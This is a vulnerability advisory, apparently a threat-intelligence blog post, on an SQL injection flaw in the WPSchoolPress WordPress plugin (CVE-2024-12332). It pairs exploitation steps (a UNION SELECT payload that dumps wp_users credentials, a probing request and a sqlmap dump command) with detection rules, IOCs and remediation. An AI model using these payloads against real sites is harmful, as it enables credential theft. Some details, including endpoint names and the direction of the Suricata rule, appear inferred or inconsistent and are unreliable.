CVE-2024-12332

Executive Summary

CVE-2024-12332 is a critical SQL Injection vulnerability discovered in the WPSchoolPress WordPress plugin (versions up to and including 2.2.14). The flaw resides in the cid parameter, which is insufficiently sanitized before being used in SQL queries. An authenticated attacker with at least Student/Parent-level privileges can exploit this to inject arbitrary SQL commands, leading to the extraction of sensitive data from the WordPress database, including user credentials, personal information, and other confidential records.

This vulnerability is particularly dangerous because it targets the WordPress ecosystem, a widely used content management system. The lack of a confirmed patch (status: UNKNOWN/UNPATCHED) means that all sites running the affected plugin versions remain exposed. The EPSS score of 0.0% indicates low exploitation likelihood currently, but the technical simplicity of the attack vector makes it a prime target for automated scanning and exploitation once public proof-of-concept code emerges.

Supply Chain & Package Security

As a WordPress plugin, WPSchoolPress is distributed through the official WordPress plugin repository and third-party marketplaces. The vulnerability introduces a supply chain risk: site administrators who have installed this plugin from any source are affected. There is no known patched version, and the vendor (Wpschoolpress) has not released a security update. Organizations should treat this as a zero-day in the WordPress ecosystem and consider removing the plugin until a fix is available.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: Low (PR:L) – Attacker needs Student/Parent-level authentication.
• User Interaction: None (UI:N) – No user action needed.
• Scope: Unchanged (S:U) – The vulnerable component and the impacted component are the same.
• Confidentiality Impact: High (C:H) – Full database read access possible.
• Integrity Impact: None (I:N) – Data cannot be modified.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: High for confidentiality. The low privileges required and network-based attack vector make this a significant risk for any WordPress site using the plugin.

Deep Dive & Mechanics

The vulnerability is a classic SQL Injection (CWE-89) in the cid parameter. The plugin fails to properly escape user-supplied input and does not use prepared statements. The vulnerable code likely appears in a function that processes student or parent requests, such as viewing grades, attendance, or personal details.

Technical Flow:

1. An authenticated user (Student/Parent) sends a request to a vulnerable endpoint (e.g., /wp-admin/admin-ajax.php?action=wpsp_get_student_details&cid=INJECTION).
2. The cid parameter is directly concatenated into an SQL query without sanitization.
3. The attacker can inject a single quote (') to break out of the string context and append malicious SQL.
4. Using UNION-based or blind SQL injection techniques, the attacker can extract data from other tables (e.g., wp_users, wp_usermeta).

Example vulnerable query (pseudocode):

$cid = $_GET['cid'];
$query = "SELECT * FROM wp_wpsp_students WHERE class_id = '$cid'";
$result = $wpdb->get_results($query);

Exploitation Example:

' UNION SELECT user_login, user_pass, user_email, NULL, NULL, NULL FROM wp_users --

Vulnerable vs. Patched Code

Since no patch is available, we can only analyze the vulnerable code pattern. A secure implementation would use prepared statements or parameterized queries.

Vulnerable Code (PHP):

$cid = $_GET['cid'];
$query = "SELECT * FROM {$wpdb->prefix}wpsp_students WHERE class_id = '$cid'";
$results = $wpdb->get_results($query);

Patched Code (Hypothetical):

$cid = intval($_GET['cid']); // Cast to integer if numeric
$query = $wpdb->prepare(
    "SELECT * FROM {$wpdb->prefix}wpsp_students WHERE class_id = %d",
    $cid
);
$results = $wpdb->get_results($query);

The patched version uses $wpdb->prepare() with a placeholder (%d) to ensure the input is treated as data, not executable SQL.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• WordPress instance with WPSchoolPress <= 2.2.14 installed.
• Valid Student or Parent account credentials.

Step 1: Identify Vulnerable Endpoint Use a web proxy (e.g., Burp Suite) to intercept requests. Look for AJAX actions like wpsp_get_student_details or wpsp_get_attendance that accept a cid parameter.

Step 2: Confirm Injection Send a request with a single quote:

GET /wp-admin/admin-ajax.php?action=wpsp_get_student_details&cid=1' HTTP/1.1

If the response contains a database error (e.g., "You have an error in your SQL syntax"), the parameter is injectable.

Step 3: Extract Data Use UNION-based injection to extract user credentials:

1 UNION SELECT user_login, user_pass, user_email, NULL, NULL, NULL FROM wp_users --

Encode the payload properly for URL transmission.

Step 4: Automate with sqlmap

sqlmap -u "http://target/wp-admin/admin-ajax.php?action=wpsp_get_student_details&cid=1" --cookie="wordpress_logged_in=..." --batch --dump

Blue Team (Defensive)

Detection:

• Monitor for SQL error messages in HTTP responses (e.g., "You have an error in your SQL syntax").
• Look for abnormal cid parameter values containing SQL keywords (UNION, SELECT, FROM, etc.).
• Use WAF rules to block requests with suspicious patterns.

Honeypot:

• Deploy a fake WordPress instance with the vulnerable plugin to capture attacker payloads.

Log Analysis:

• Check web server logs for requests to admin-ajax.php with action parameters related to WPSchoolPress and unusual cid values.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /wp-admin/admin-ajax.php with action=wpsp_get_student_details or similar.
  • cid parameter containing SQL keywords (e.g., UNION, SELECT, FROM, --).
  • Database error messages in HTTP responses (e.g., "You have an error in your SQL syntax").

• File IOCs:

  • Modified plugin files (e.g., wp-content/plugins/wpschoolpress/).
  • Suspicious entries in WordPress wp_options table (e.g., backdoor admin users).

• Log IOCs:

  • Repeated failed SQL queries in MySQL logs.
  • Unusual user agent strings (e.g., sqlmap, custom Python scripts).

Detection Engineering

YARA Rule

rule CVE_2024_12332_WPSchoolPress_SQLi {
    meta:
        description = "Detects SQL injection attempts against WPSchoolPress cid parameter"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-12332"
    strings:
        $s1 = "cid=" nocase
        $s2 = "UNION" nocase
        $s3 = "SELECT" nocase
        $s4 = "FROM" nocase
        $s5 = "admin-ajax.php" nocase
    condition:
        all of ($s1, $s5) and 1 of ($s2, $s3, $s4)
}

Sigma Rule

title: CVE-2024-12332 WPSchoolPress SQL Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SQL injection attempts targeting the cid parameter in WPSchoolPress plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains:
            - 'action=wpsp_get_student_details'
            - 'action=wpsp_get_attendance'
        cs-uri-query|contains|all:
            - 'cid='
            - 'UNION'
            - 'SELECT'
    condition: selection
falsepositives:
    - Legitimate use of UNION in rare cases (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-12332 WPSchoolPress SQL Injection Attempt";
    flow:to_server,established;
    content:"/wp-admin/admin-ajax.php";
    http_uri;
    content:"action=";
    http_uri;
    pcre:"/cid=[^&]*['\"]|UNION|SELECT|FROM/i";
    classtype:web-application-attack;
    sid:10000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin – Deactivate and delete WPSchoolPress from all WordPress installations until a patch is released.
2. Apply WAF rules – Block requests containing SQL injection patterns in the cid parameter.
3. Audit user accounts – Check for unauthorized admin accounts created via the vulnerability.

Long-term Fix:

• Monitor the WPSchoolPress plugin page for a security update. Once available, update to the patched version immediately.
• Implement input validation and parameterized queries in all custom WordPress plugins.

Compensating Controls:

• Use a Web Application Firewall (WAF) with SQL injection signatures.
• Enable WordPress security plugins (e.g., Wordfence, Sucuri) that can detect and block SQLi attempts.
• Restrict plugin installation to trusted sources only.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert